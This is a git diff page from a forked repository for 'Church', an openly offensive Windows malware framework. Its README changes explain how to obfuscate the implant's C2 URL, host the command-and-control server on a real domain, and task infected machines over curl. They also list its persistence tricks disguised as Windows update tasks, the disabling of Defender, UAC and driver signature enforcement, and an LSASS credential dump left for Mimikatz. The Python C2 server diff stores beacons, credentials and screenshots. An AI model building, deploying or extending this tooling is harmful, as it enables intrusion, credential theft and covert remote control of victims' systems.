forked from ek0mssavi0r/CHURCH
Compare commits
2 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 0fdc248d10 | |||
| 6c1fc3c56a |
@@ -1,11 +1,10 @@
|
|||||||
|
|
||||||
# Church - Weaponized Windows Security Bypass Framework
|
# Church - Weaponized Windows Security Bypass Framework
|
||||||
|
|
||||||
|
|
||||||
```
|
```
|
||||||
╔═══════════════════════════════════════════════════════════════════════════╗
|
╔═══════════════════════════════════════════════════════════════════════════╗
|
||||||
║ CHURCH OF MALWARE ║
|
║ CHURCH OF MALWARE ║
|
||||||
║ Enterprise Offensive Security Framework ║
|
║ Church - Weaponized Windows Security Bypass Framework ║
|
||||||
║ by ek0ms savi0r ║
|
║ by ek0ms savi0r ║
|
||||||
╚═══════════════════════════════════════════════════════════════════════════╝
|
╚═══════════════════════════════════════════════════════════════════════════╝
|
||||||
```
|
```
|
||||||
@@ -103,6 +102,8 @@ CHAR g_aes_iv_obf[] = "\xB1\xB8\xB7..." // 16-byte AES IV
|
|||||||
|
|
||||||
Replace the obfuscated strings with your own XOR-encrypted values using the provided key (0xDD). The C2 server expects matching AES keys.
|
Replace the obfuscated strings with your own XOR-encrypted values using the provided key (0xDD). The C2 server expects matching AES keys.
|
||||||
|
|
||||||
|
**Important:** The `g_c2_server_obf` string must contain the full HTTPS URL of your C2 server, including the path `/beacon`. For example, if your domain is `c2.churchofmalware.org`, obfuscate `https://c2.churchofmalware.org/beacon` with XOR key `0xDD`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Custom Signed Driver Implementation
|
## Custom Signed Driver Implementation
|
||||||
@@ -116,8 +117,8 @@ Church includes a custom signed driver loader that eliminates reliance on public
|
|||||||
5. Falls back to gdrv.sys BYOVD if custom driver fails
|
5. Falls back to gdrv.sys BYOVD if custom driver fails
|
||||||
|
|
||||||
To use your own signed driver:
|
To use your own signed driver:
|
||||||
- Replace the g_customDriverBase64 placeholder with your base64-encoded driver
|
- Replace the `g_customDriverBase64` placeholder with your base64-encoded driver
|
||||||
- Ensure your driver implements CHURCH_IOCTL_DISABLE_DSE and CHURCH_IOCTL_EXECUTE_SHELLCODE
|
- Ensure your driver implements `CHURCH_IOCTL_DISABLE_DSE` and `CHURCH_IOCTL_EXECUTE_SHELLCODE`
|
||||||
- Sign the driver with a valid code-signing certificate
|
- Sign the driver with a valid code-signing certificate
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -133,63 +134,117 @@ The C2 server is fully hardened with the following security features:
|
|||||||
- Rate limiting on all API endpoints (10-30 requests per minute)
|
- Rate limiting on all API endpoints (10-30 requests per minute)
|
||||||
- HttpOnly, Secure session cookies for web UI
|
- HttpOnly, Secure session cookies for web UI
|
||||||
|
|
||||||
Install dependencies:
|
**New in v2.1: Built-in Beacon Parser & Lantern.js Graph Compatibility**
|
||||||
|
|
||||||
|
The C2 server now includes a dedicated parser that decrypts incoming beacon data and converts it into structured JSON, as well as a graph format compatible with the Lantern.js visualization frontend. This enables seamless integration with modern threat intelligence dashboards and real-time monitoring.
|
||||||
|
|
||||||
|
Parser endpoints provide:
|
||||||
|
- **Decryption and parsing** of raw encrypted beacon data
|
||||||
|
- **Graph conversion** for Lantern.js (nodes/edges/environments)
|
||||||
|
- **Result parsing** with automatic audit logging
|
||||||
|
|
||||||
|
### Production Deployment with a Real Domain
|
||||||
|
|
||||||
|
In a real operation, you would deploy the C2 server on a public domain with a valid TLS certificate. The steps are:
|
||||||
|
|
||||||
|
1. **Obtain a domain** (e.g., `c2.churchofmalware.org`) and point its DNS to your server's IP.
|
||||||
|
2. **Acquire a trusted SSL certificate** (e.g., from Let's Encrypt or a commercial CA) for that domain.
|
||||||
|
3. **Configure the C2 server** to use that certificate and key.
|
||||||
|
4. **Update the implant's obfuscated C2 string** to match your domain before compiling.
|
||||||
|
|
||||||
|
**Example (using Let's Encrypt):**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Install certbot and obtain certificate
|
||||||
|
certbot certonly --standalone -d c2.churchofmalware.org
|
||||||
|
|
||||||
|
# The certificate and key will be in /etc/letsencrypt/live/c2.churchofmalware.org/
|
||||||
|
# Copy them to your C2 directory and run:
|
||||||
|
python church_c2_server.py --host 0.0.0.0 --port 443 --cert fullchain.pem --key privkey.pem
|
||||||
|
```
|
||||||
|
|
||||||
|
**Obfuscating your C2 URL for the implant:**
|
||||||
|
|
||||||
|
Use the included XOR utility (or a Python one‑liner) to generate the obfuscated bytes for your domain:
|
||||||
|
|
||||||
|
```python
|
||||||
|
XOR_KEY = 0xDD
|
||||||
|
url = "https://c2.churchofmalware.org/beacon"
|
||||||
|
obf = ''.join(f'\\x{(ord(c) ^ XOR_KEY):02X}' for c in url)
|
||||||
|
print(obf)
|
||||||
|
# Output: \x78\x9D\x9D... (use this to replace g_c2_server_obf)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Local Testing (Self‑Signed Certificate)
|
||||||
|
|
||||||
|
For testing purposes only, you can use a self‑signed certificate:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
||||||
|
python church_c2_server.py --host 127.0.0.1 --port 8443 --cert cert.pem --key key.pem
|
||||||
|
```
|
||||||
|
|
||||||
|
Then access `https://127.0.0.1:8443` (or `localhost`) and bypass the browser warning.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pip install flask flask-socketio cryptography werkzeug flask-limiter
|
pip install flask flask-socketio cryptography werkzeug flask-limiter
|
||||||
```
|
```
|
||||||
|
|
||||||
Generate SSL certificate:
|
---
|
||||||
|
|
||||||
```bash
|
### C2 API Endpoints
|
||||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
|
||||||
```
|
|
||||||
|
|
||||||
Run the C2 server:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
python church_c2_server.py --host 0.0.0.0 --port 443 --cert cert.pem --key key.pem
|
|
||||||
```
|
|
||||||
|
|
||||||
Configure admin credentials via environment variables or config file:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
export CHURCH_ADMIN_USER="admin"
|
|
||||||
export CHURCH_ADMIN_HASH="$(python -c 'from werkzeug.security import generate_password_hash; print(generate_password_hash("yourpassword"))')"
|
|
||||||
```
|
|
||||||
|
|
||||||
C2 API Endpoints:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# List all beacons
|
# List all beacons
|
||||||
curl -H "X-Auth-Token: <JWT_SECRET>" https://localhost/api/beacons
|
curl -H "X-Auth-Token: <JWT_SECRET>" https://your-c2-domain/api/beacons
|
||||||
|
|
||||||
# Execute command on beacon
|
# Execute command on beacon
|
||||||
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
||||||
-H "Content-Type: application/json" \
|
-H "Content-Type: application/json" \
|
||||||
-d '{"host": "beacon_id", "command": "whoami"}' \
|
-d '{"host": "beacon_id", "command": "whoami"}' \
|
||||||
https://localhost/api/task
|
https://your-c2-domain/api/task
|
||||||
|
|
||||||
# Execute PowerShell command
|
# Execute PowerShell command
|
||||||
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
||||||
-H "Content-Type: application/json" \
|
-H "Content-Type: application/json" \
|
||||||
-d '{"host": "beacon_id", "command": "Get-Process", "powershell": true}' \
|
-d '{"host": "beacon_id", "command": "Get-Process", "powershell": true}' \
|
||||||
https://localhost/api/task
|
https://your-c2-domain/api/task
|
||||||
|
|
||||||
# Get beacon details
|
# Get beacon details
|
||||||
curl -H "X-Auth-Token: <JWT_SECRET>" \
|
curl -H "X-Auth-Token: <JWT_SECRET>" \
|
||||||
https://localhost/api/beacon/<beacon_id>
|
https://your-c2-domain/api/beacon/<beacon_id>
|
||||||
|
|
||||||
# Get task history
|
# Get task history
|
||||||
curl -H "X-Auth-Token: <JWT_SECRET>" \
|
curl -H "X-Auth-Token: <JWT_SECRET>" \
|
||||||
https://localhost/api/tasks/<beacon_id>
|
https://your-c2-domain/api/tasks/<beacon_id>
|
||||||
|
|
||||||
# Get system statistics
|
# Get system statistics
|
||||||
curl -H "X-Auth-Token: <JWT_SECRET>" \
|
curl -H "X-Auth-Token: <JWT_SECRET>" \
|
||||||
https://localhost/api/stats
|
https://your-c2-domain/api/stats
|
||||||
|
|
||||||
|
# --- NEW PARSER ENDPOINTS (v2.1) ---
|
||||||
|
|
||||||
|
# Parse raw beacon data and return both decrypted JSON and graph format
|
||||||
|
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
||||||
|
-d "d=<encrypted_base64>" \
|
||||||
|
https://your-c2-domain/api/beacon/parse
|
||||||
|
|
||||||
|
# Convert raw beacon data directly to js graph format
|
||||||
|
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
||||||
|
-d "d=<encrypted_base64>" \
|
||||||
|
https://your-c2-domain/api/beacon/graph
|
||||||
|
|
||||||
|
# Parse command result and log it as an audit event
|
||||||
|
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
||||||
|
-d "d=<encrypted_result_base64>" \
|
||||||
|
https://your-c2-domain/api/beacon/result/parse
|
||||||
```
|
```
|
||||||
|
|
||||||
Web UI Access: https://c2-server:443
|
Web UI Access: `https://your-c2-domain`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -201,7 +256,7 @@ Run the compiled executable as Administrator:
|
|||||||
church.exe
|
church.exe
|
||||||
```
|
```
|
||||||
|
|
||||||
The tool auto-elevates if not already running with administrative privileges.
|
The tool auto‑elevates if not already running with administrative privileges.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -209,17 +264,17 @@ The tool auto-elevates if not already running with administrative privileges.
|
|||||||
|
|
||||||
After Church executes and forces a system reboot, the following persistent mechanisms remain active:
|
After Church executes and forces a system reboot, the following persistent mechanisms remain active:
|
||||||
|
|
||||||
1. Persistence Triggers:
|
1. **Persistence Triggers:**
|
||||||
- Scheduled task "WindowsUpdateTask" runs the Church binary at user login
|
- Scheduled task "WindowsUpdateTask" runs the Church binary at user login
|
||||||
- Scheduled task "MicrosoftUpdateTask" runs daily at 09:00
|
- Scheduled task "MicrosoftUpdateTask" runs daily at 09:00
|
||||||
- WMI event subscription triggers on explorer.exe startup
|
- WMI event subscription triggers on explorer.exe startup
|
||||||
- Windows service "WindowsUpdateService" auto-starts
|
- Windows service "WindowsUpdateService" auto‑starts
|
||||||
- Registry Run key executes the binary at boot
|
- Registry Run key executes the binary at boot
|
||||||
- BootExecute registry entry runs the binary during system initialization
|
- BootExecute registry entry runs the binary during system initialization
|
||||||
- IFEO Debugger for svchost.exe and explorer.exe triggers execution
|
- IFEO Debugger for svchost.exe and explorer.exe triggers execution
|
||||||
- Silent Process Exit Monitor relaunches the binary when svchost.exe exits
|
- Silent Process Exit Monitor relaunches the binary when svchost.exe exits
|
||||||
|
|
||||||
2. Disabled Protections (Persist Across Reboots):
|
2. **Disabled Protections (Persist Across Reboots):**
|
||||||
- Windows Defender service disabled (WinDefend)
|
- Windows Defender service disabled (WinDefend)
|
||||||
- Tamper Protection registry key set to 0
|
- Tamper Protection registry key set to 0
|
||||||
- UAC disabled (EnableLUA = 0)
|
- UAC disabled (EnableLUA = 0)
|
||||||
@@ -228,17 +283,17 @@ After Church executes and forces a system reboot, the following persistent mecha
|
|||||||
- DSE remains disabled (kernel patched)
|
- DSE remains disabled (kernel patched)
|
||||||
- System Restore disabled
|
- System Restore disabled
|
||||||
|
|
||||||
3. C2 Beacon:
|
3. **C2 Beacon:**
|
||||||
- The binary auto-starts via multiple persistence mechanisms
|
- The binary auto‑starts via multiple persistence mechanisms
|
||||||
- Beacon thread begins sending HTTPS requests to the configured C2 server
|
- Beacon thread begins sending HTTPS requests to the configured C2 server
|
||||||
- System information (computer name, user, OS, Defender status, AV products) is transmitted
|
- System information (computer name, user, OS, Defender status, AV products) is transmitted
|
||||||
- The beacon waits for commands from the C2 server
|
- The beacon waits for commands from the C2 server
|
||||||
|
|
||||||
4. Credential Access:
|
4. **Credential Access:**
|
||||||
- LSASS dump file (C:\lsass.dmp) remains on disk with hidden attribute
|
- LSASS dump file (C:\lsass.dmp) remains on disk with hidden attribute
|
||||||
- Can be extracted and processed with Mimikatz offline
|
- Can be extracted and processed with Mimikatz offline
|
||||||
|
|
||||||
5. Network Access:
|
5. **Network Access:**
|
||||||
- Firewall rules allow outbound HTTPS on port 443
|
- Firewall rules allow outbound HTTPS on port 443
|
||||||
- Telemetry domains blocked in hosts file
|
- Telemetry domains blocked in hosts file
|
||||||
- DNS over HTTPS configured for stealth
|
- DNS over HTTPS configured for stealth
|
||||||
@@ -249,4 +304,4 @@ The target system remains fully compromised with remote access via the C2 channe
|
|||||||
|
|
||||||
## Disclaimer
|
## Disclaimer
|
||||||
|
|
||||||
FOR AUTHORIZED TESTING AND EDUCATIONAL PURPOSES ONLY.
|
FOR AUTHORIZED TESTING AND EDUCATIONAL PURPOSES ONLY. The Church of Malware assumes no liability for misuse.
|
||||||
+263
-75
@@ -103,13 +103,13 @@ app.config['SESSION_COOKIE_SECURE'] = True # only over HTTPS
|
|||||||
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
|
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
|
||||||
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024
|
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024
|
||||||
|
|
||||||
# Rate limiter
|
# Rate limiter – fixed for flask-limiter >= 4.0
|
||||||
limiter = Limiter(
|
limiter = Limiter(
|
||||||
app,
|
|
||||||
key_func=get_remote_address,
|
key_func=get_remote_address,
|
||||||
default_limits=["200 per day", "50 per hour"],
|
default_limits=["200 per day", "50 per hour"],
|
||||||
storage_uri="memory://"
|
storage_uri="memory://"
|
||||||
)
|
)
|
||||||
|
limiter.init_app(app)
|
||||||
|
|
||||||
# SocketIO with strict CORS
|
# SocketIO with strict CORS
|
||||||
socketio = SocketIO(
|
socketio = SocketIO(
|
||||||
@@ -124,7 +124,7 @@ def init_database():
|
|||||||
"""Initialize SQLite database with all tables (idempotent)"""
|
"""Initialize SQLite database with all tables (idempotent)"""
|
||||||
conn = sqlite3.connect(DATABASE_PATH)
|
conn = sqlite3.connect(DATABASE_PATH)
|
||||||
c = conn.cursor()
|
c = conn.cursor()
|
||||||
|
|
||||||
c.execute('''CREATE TABLE IF NOT EXISTS beacons (
|
c.execute('''CREATE TABLE IF NOT EXISTS beacons (
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
beacon_id TEXT UNIQUE NOT NULL,
|
beacon_id TEXT UNIQUE NOT NULL,
|
||||||
@@ -147,7 +147,7 @@ def init_database():
|
|||||||
sleep_time INTEGER DEFAULT 120,
|
sleep_time INTEGER DEFAULT 120,
|
||||||
notes TEXT
|
notes TEXT
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
c.execute('''CREATE TABLE IF NOT EXISTS tasks (
|
c.execute('''CREATE TABLE IF NOT EXISTS tasks (
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
beacon_id TEXT NOT NULL,
|
beacon_id TEXT NOT NULL,
|
||||||
@@ -161,7 +161,7 @@ def init_database():
|
|||||||
completed_at REAL,
|
completed_at REAL,
|
||||||
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
|
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
c.execute('''CREATE TABLE IF NOT EXISTS results (
|
c.execute('''CREATE TABLE IF NOT EXISTS results (
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
beacon_id TEXT NOT NULL,
|
beacon_id TEXT NOT NULL,
|
||||||
@@ -170,7 +170,7 @@ def init_database():
|
|||||||
timestamp REAL,
|
timestamp REAL,
|
||||||
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
|
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
c.execute('''CREATE TABLE IF NOT EXISTS files (
|
c.execute('''CREATE TABLE IF NOT EXISTS files (
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
beacon_id TEXT NOT NULL,
|
beacon_id TEXT NOT NULL,
|
||||||
@@ -182,7 +182,7 @@ def init_database():
|
|||||||
created_at REAL,
|
created_at REAL,
|
||||||
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
|
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
c.execute('''CREATE TABLE IF NOT EXISTS credentials (
|
c.execute('''CREATE TABLE IF NOT EXISTS credentials (
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
beacon_id TEXT NOT NULL,
|
beacon_id TEXT NOT NULL,
|
||||||
@@ -193,7 +193,7 @@ def init_database():
|
|||||||
timestamp REAL,
|
timestamp REAL,
|
||||||
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
|
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
c.execute('''CREATE TABLE IF NOT EXISTS screenshots (
|
c.execute('''CREATE TABLE IF NOT EXISTS screenshots (
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
beacon_id TEXT NOT NULL,
|
beacon_id TEXT NOT NULL,
|
||||||
@@ -201,14 +201,14 @@ def init_database():
|
|||||||
timestamp REAL,
|
timestamp REAL,
|
||||||
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
|
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
c.execute('''CREATE TABLE IF NOT EXISTS tags (
|
c.execute('''CREATE TABLE IF NOT EXISTS tags (
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
beacon_id TEXT NOT NULL,
|
beacon_id TEXT NOT NULL,
|
||||||
tag TEXT NOT NULL,
|
tag TEXT NOT NULL,
|
||||||
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
|
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
c.execute('''CREATE TABLE IF NOT EXISTS users (
|
c.execute('''CREATE TABLE IF NOT EXISTS users (
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
username TEXT UNIQUE NOT NULL,
|
username TEXT UNIQUE NOT NULL,
|
||||||
@@ -216,7 +216,7 @@ def init_database():
|
|||||||
role TEXT DEFAULT 'operator',
|
role TEXT DEFAULT 'operator',
|
||||||
created_at REAL
|
created_at REAL
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
c.execute('''CREATE TABLE IF NOT EXISTS audit_log (
|
c.execute('''CREATE TABLE IF NOT EXISTS audit_log (
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
username TEXT,
|
username TEXT,
|
||||||
@@ -225,13 +225,13 @@ def init_database():
|
|||||||
timestamp REAL,
|
timestamp REAL,
|
||||||
ip_address TEXT
|
ip_address TEXT
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
# Insert default admin if not exists
|
# Insert default admin if not exists
|
||||||
c.execute("SELECT * FROM users WHERE username = ?", (ADMIN_USERNAME,))
|
c.execute("SELECT * FROM users WHERE username = ?", (ADMIN_USERNAME,))
|
||||||
if not c.fetchone():
|
if not c.fetchone():
|
||||||
c.execute("INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, ?, ?)",
|
c.execute("INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, ?, ?)",
|
||||||
(ADMIN_USERNAME, ADMIN_PASSWORD_HASH, 'admin', time.time()))
|
(ADMIN_USERNAME, ADMIN_PASSWORD_HASH, 'admin', time.time()))
|
||||||
|
|
||||||
conn.commit()
|
conn.commit()
|
||||||
conn.close()
|
conn.close()
|
||||||
|
|
||||||
@@ -248,7 +248,7 @@ class CryptoManager:
|
|||||||
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
|
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
|
||||||
pad_len = plaintext[-1]
|
pad_len = plaintext[-1]
|
||||||
return plaintext[:-pad_len] if pad_len <= 16 else plaintext
|
return plaintext[:-pad_len] if pad_len <= 16 else plaintext
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def encrypt_aes(plaintext: bytes) -> str:
|
def encrypt_aes(plaintext: bytes) -> str:
|
||||||
"""AES-256-CBC encryption without extra whitespace"""
|
"""AES-256-CBC encryption without extra whitespace"""
|
||||||
@@ -285,10 +285,10 @@ class Beacon:
|
|||||||
jitter_max: int = 180
|
jitter_max: int = 180
|
||||||
sleep_time: int = 120
|
sleep_time: int = 120
|
||||||
notes: str = ""
|
notes: str = ""
|
||||||
|
|
||||||
def to_dict(self) -> dict:
|
def to_dict(self) -> dict:
|
||||||
return asdict(self)
|
return asdict(self)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def from_db_row(row) -> 'Beacon':
|
def from_db_row(row) -> 'Beacon':
|
||||||
return Beacon(
|
return Beacon(
|
||||||
@@ -306,7 +306,7 @@ class BeaconManager:
|
|||||||
self._beacons: Dict[str, Beacon] = {}
|
self._beacons: Dict[str, Beacon] = {}
|
||||||
self._lock = threading.Lock()
|
self._lock = threading.Lock()
|
||||||
self._load_from_db()
|
self._load_from_db()
|
||||||
|
|
||||||
def _load_from_db(self):
|
def _load_from_db(self):
|
||||||
conn = sqlite3.connect(DATABASE_PATH)
|
conn = sqlite3.connect(DATABASE_PATH)
|
||||||
c = conn.cursor()
|
c = conn.cursor()
|
||||||
@@ -315,11 +315,11 @@ class BeaconManager:
|
|||||||
beacon = Beacon.from_db_row(row)
|
beacon = Beacon.from_db_row(row)
|
||||||
self._beacons[beacon.beacon_id] = beacon
|
self._beacons[beacon.beacon_id] = beacon
|
||||||
conn.close()
|
conn.close()
|
||||||
|
|
||||||
def update_beacon(self, data: dict) -> Beacon:
|
def update_beacon(self, data: dict) -> Beacon:
|
||||||
# Use UUID to avoid collisions
|
# Use UUID to avoid collisions
|
||||||
beacon_id = self._generate_beacon_id(data['computer'], data['user'])
|
beacon_id = self._generate_beacon_id(data['computer'], data['user'])
|
||||||
|
|
||||||
with self._lock:
|
with self._lock:
|
||||||
if beacon_id not in self._beacons:
|
if beacon_id not in self._beacons:
|
||||||
beacon = Beacon(
|
beacon = Beacon(
|
||||||
@@ -348,7 +348,7 @@ class BeaconManager:
|
|||||||
beacon.defender_status = data.get('defender', beacon.defender_status)
|
beacon.defender_status = data.get('defender', beacon.defender_status)
|
||||||
self._update_beacon(beacon)
|
self._update_beacon(beacon)
|
||||||
return beacon
|
return beacon
|
||||||
|
|
||||||
def _generate_beacon_id(self, computer: str, user: str) -> str:
|
def _generate_beacon_id(self, computer: str, user: str) -> str:
|
||||||
"""Unique beacon ID using UUID to avoid collisions"""
|
"""Unique beacon ID using UUID to avoid collisions"""
|
||||||
# Use deterministic UUID v5 based on computer+user to keep same ID across sessions
|
# Use deterministic UUID v5 based on computer+user to keep same ID across sessions
|
||||||
@@ -356,11 +356,11 @@ class BeaconManager:
|
|||||||
namespace = uuid.NAMESPACE_DNS
|
namespace = uuid.NAMESPACE_DNS
|
||||||
name = f"{computer}\\{user}"
|
name = f"{computer}\\{user}"
|
||||||
return str(uuid.uuid5(namespace, name))
|
return str(uuid.uuid5(namespace, name))
|
||||||
|
|
||||||
def _save_beacon(self, beacon: Beacon):
|
def _save_beacon(self, beacon: Beacon):
|
||||||
conn = sqlite3.connect(DATABASE_PATH)
|
conn = sqlite3.connect(DATABASE_PATH)
|
||||||
c = conn.cursor()
|
c = conn.cursor()
|
||||||
c.execute('''INSERT OR REPLACE INTO beacons
|
c.execute('''INSERT OR REPLACE INTO beacons
|
||||||
(beacon_id, computer_name, username, process_id, os_version, is_admin,
|
(beacon_id, computer_name, username, process_id, os_version, is_admin,
|
||||||
path, defender_status, uptime, install_date, domain, antivirus,
|
path, defender_status, uptime, install_date, domain, antivirus,
|
||||||
first_seen, last_seen, status, jitter_min, jitter_max, sleep_time, notes)
|
first_seen, last_seen, status, jitter_min, jitter_max, sleep_time, notes)
|
||||||
@@ -373,10 +373,10 @@ class BeaconManager:
|
|||||||
beacon.jitter_min, beacon.jitter_max, beacon.sleep_time, beacon.notes))
|
beacon.jitter_min, beacon.jitter_max, beacon.sleep_time, beacon.notes))
|
||||||
conn.commit()
|
conn.commit()
|
||||||
conn.close()
|
conn.close()
|
||||||
|
|
||||||
def _update_beacon(self, beacon: Beacon):
|
def _update_beacon(self, beacon: Beacon):
|
||||||
self._save_beacon(beacon)
|
self._save_beacon(beacon)
|
||||||
|
|
||||||
def get_pending_tasks(self, beacon_id: str) -> List[dict]:
|
def get_pending_tasks(self, beacon_id: str) -> List[dict]:
|
||||||
conn = sqlite3.connect(DATABASE_PATH)
|
conn = sqlite3.connect(DATABASE_PATH)
|
||||||
c = conn.cursor()
|
c = conn.cursor()
|
||||||
@@ -384,16 +384,16 @@ class BeaconManager:
|
|||||||
tasks = [{'id': row[0], 'command': row[1], 'args': row[2] or '', 'ps': row[3] == 'powershell'} for row in c.fetchall()]
|
tasks = [{'id': row[0], 'command': row[1], 'args': row[2] or '', 'ps': row[3] == 'powershell'} for row in c.fetchall()]
|
||||||
conn.close()
|
conn.close()
|
||||||
return tasks
|
return tasks
|
||||||
|
|
||||||
def mark_task_completed(self, task_id: int, output: str):
|
def mark_task_completed(self, task_id: int, output: str):
|
||||||
conn = sqlite3.connect(DATABASE_PATH)
|
conn = sqlite3.connect(DATABASE_PATH)
|
||||||
c = conn.cursor()
|
c = conn.cursor()
|
||||||
c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?",
|
c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?",
|
||||||
(output, time.time(), task_id))
|
(output, time.time(), task_id))
|
||||||
conn.commit()
|
conn.commit()
|
||||||
conn.close()
|
conn.close()
|
||||||
self._audit("task_completed", str(task_id))
|
self._audit("task_completed", str(task_id))
|
||||||
|
|
||||||
def add_task(self, beacon_id: str, command: str, args: str = "", task_type: str = "cmd") -> int:
|
def add_task(self, beacon_id: str, command: str, args: str = "", task_type: str = "cmd") -> int:
|
||||||
conn = sqlite3.connect(DATABASE_PATH)
|
conn = sqlite3.connect(DATABASE_PATH)
|
||||||
c = conn.cursor()
|
c = conn.cursor()
|
||||||
@@ -405,7 +405,7 @@ class BeaconManager:
|
|||||||
conn.close()
|
conn.close()
|
||||||
self._audit("task_added", f"{beacon_id}: {command}")
|
self._audit("task_added", f"{beacon_id}: {command}")
|
||||||
return task_id
|
return task_id
|
||||||
|
|
||||||
def _audit(self, action: str, target: str):
|
def _audit(self, action: str, target: str):
|
||||||
conn = sqlite3.connect(DATABASE_PATH)
|
conn = sqlite3.connect(DATABASE_PATH)
|
||||||
c = conn.cursor()
|
c = conn.cursor()
|
||||||
@@ -413,15 +413,16 @@ class BeaconManager:
|
|||||||
("system", action, target, time.time(), "127.0.0.1"))
|
("system", action, target, time.time(), "127.0.0.1"))
|
||||||
conn.commit()
|
conn.commit()
|
||||||
conn.close()
|
conn.close()
|
||||||
|
|
||||||
def get_all_beacons(self) -> List[Beacon]:
|
def get_all_beacons(self) -> List[Beacon]:
|
||||||
with self._lock:
|
with self._lock:
|
||||||
return list(self._beacons.values())
|
return list(self._beacons.values())
|
||||||
|
|
||||||
def get_beacon(self, beacon_id: str) -> Optional[Beacon]:
|
def get_beacon(self, beacon_id: str) -> Optional[Beacon]:
|
||||||
return self._beacons.get(beacon_id)
|
return self._beacons.get(beacon_id)
|
||||||
|
|
||||||
beacon_manager = BeaconManager()
|
# instantiate beacon_manager later after DB init
|
||||||
|
beacon_manager = None
|
||||||
|
|
||||||
# ==================== WEB UI TEMPLATES ====================
|
# ==================== WEB UI TEMPLATES ====================
|
||||||
HTML_TEMPLATE = '''
|
HTML_TEMPLATE = '''
|
||||||
@@ -431,9 +432,9 @@ HTML_TEMPLATE = '''
|
|||||||
<title>CHURCH C2 - Command & Control</title>
|
<title>CHURCH C2 - Command & Control</title>
|
||||||
<style>
|
<style>
|
||||||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||||
body {
|
body {
|
||||||
font-family: 'Courier New', monospace;
|
font-family: 'Courier New', monospace;
|
||||||
background: #0a0e27;
|
background: #0a0e27;
|
||||||
color: #00ffaa;
|
color: #00ffaa;
|
||||||
padding: 20px;
|
padding: 20px;
|
||||||
}
|
}
|
||||||
@@ -569,7 +570,7 @@ HTML_TEMPLATE = '''
|
|||||||
<h1> CHURCH C2 </h1>
|
<h1> CHURCH C2 </h1>
|
||||||
